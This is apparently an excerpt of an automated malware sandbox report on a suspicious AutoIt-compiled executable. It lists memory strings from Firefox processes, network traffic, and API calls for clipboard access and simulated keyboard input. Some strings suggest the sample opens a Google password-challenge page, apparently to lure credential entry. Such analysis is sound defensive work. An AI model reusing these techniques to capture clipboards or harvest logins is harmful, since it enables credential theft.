Source: firefox.exe, 00000015.00000003.2816546786.000002594063F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2757162605.0000025937E60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934447000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3083282313.000001EF2E582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000015.00000002.2894066055.0000025937812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A478000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000015.00000002.2952417248.0000025942489000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2808209221.000002593A467000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.leboncoin.fr/
Source: firefox.exe, 00000015.00000002.2881592543.0000025933AA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2816233899.000002594067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2961121442.0000039FA2504000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2815909694.000002594068F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2940088335.000002594031B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2866949692.000000C167F7C000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2944981005.0000025940689000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2879062103.0000025928391000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051133453.000001EF29652000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3043047343.0000002781BFC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3053931812.000001EF29D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: firefox.exe, 00000015.00000002.2884763162.0000025934427000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2808950277.00000259407D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2811265427.00000259407C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: firefox.exe, 00000015.00000002.2944981005.000002594067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2816233899.000002594067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2911918698.000002593960A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000015.00000002.2944981005.000002594067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2816233899.000002594067D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2911918698.000002593960A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: firefox.exe, 00000015.00000002.2880770582.000002593395D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867917308.000002ADC16C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7AC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3051610280.000001EF29754000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000015.00000002.2887012398.0000025935240000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.2867357844.000002ADC1560000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2866695499.000001CBE7900000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 00000015.00000002.2878414441.000001EDFCC04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2929941467.000002593B67D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3115028552.000001EF311BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3127918517.0000093E7B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2881592543.0000025933AD8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3093596706.000001EF2F303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000015.00000002.2878414441.000001EDFCC04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3127918517.0000093E7B300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/findUpdates()
Source: firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2820604619.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.wykop.pl/
Source: firefox.exe, 00000015.00000002.2940088335.00000259403A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B7FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867425093.000001CBE7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000015.00000002.2963140351.00001F079B900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z
Source: firefox.exe, 00000015.00000002.2938420212.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2805571289.000002593B79F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919695391.000002593A71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2821255219.00000259401AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2964435246.00003F69D5E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000015.00000002.2919125459.000002593A62C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2915569464.000002593A103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2919125459.000002593A603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E98B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3085049318.000001EF2E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 00000015.00000002.2908644373.0000025939040000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 00000015.00000002.2964091165.0000370D2CF04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3121604934.000001EF35723000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 00000015.00000002.2936356785.000002593FD73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2921089355.000002593A9C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2921089355.000002593A9FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3129040244.00001841F5700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3055217724.000001EF29EEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000015.00000002.2936356785.000002593FDA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2923113526.000002593ABEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2920348338.000002593A87C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2822245342.000002593ABEC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2937149751.000002593FE2A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3066712118.000001EF2C87C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3103108635.000001EF300E6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3099000605.000001EF2FA79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3099000605.000001EF2FA0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000015.00000003.2822245342.000002593ABBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2921089355.000002593A940000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2879062103.0000025928311000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2921089355.000002593A9C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2892227537.0000025936085000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2817429232.00000259405D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2878827822.0000025928110000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2937149751.000002593FE2A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2931474157.000002593B751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2906919520.0000025938EF3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A41B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867489559.000002ADC15B4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2866418794.000002ADC12FA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2866384916.000001CBE7790000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867179199.000001CBE79C4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2866384916.000001CBE779A000.00000004.00000020.00020000.00000000.sdmp, b29e59e54d.exe, 0000001A.00000003.2986668099.0000000001144000.00000004.00000020.00020000.00000000.sdmp, b29e59e54d.exe, 0000001A.00000002.3019948993.0000000001258000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.2992934080.0000012990C90000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3086366052.000001EF2EB9E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000013.00000002.2737633129.0000026C7AD39000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.2749353252.0000018ECDFF3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2878827822.0000025928119000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.2992934080.0000012990C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000015.00000002.2878827822.0000025928119000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdD
Source: firefox.exe, 00000015.00000002.2879623730.0000025929BBA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2879623730.0000025929BF1000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2867489559.000002ADC15B4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.2866418794.000002ADC12F0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2866384916.000001CBE7790000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2867179199.000001CBE79C4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3050235794.000001EF1F7A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE

Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50065 version: TLS 1.2

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0095EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

8_2_0095EAFF

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0095ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

8_2_0095ED6A

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

8_2_0095EAFF

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0094AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

8_2_0094AA57

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_00979576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

8_2_00979576

System Summary

Binary is likely a compiled AutoIt script file

Source: b29e59e54d.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: b29e59e54d.exe, 00000008.00000000.2703523532.00000000009A2000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_9b17ffbb-e
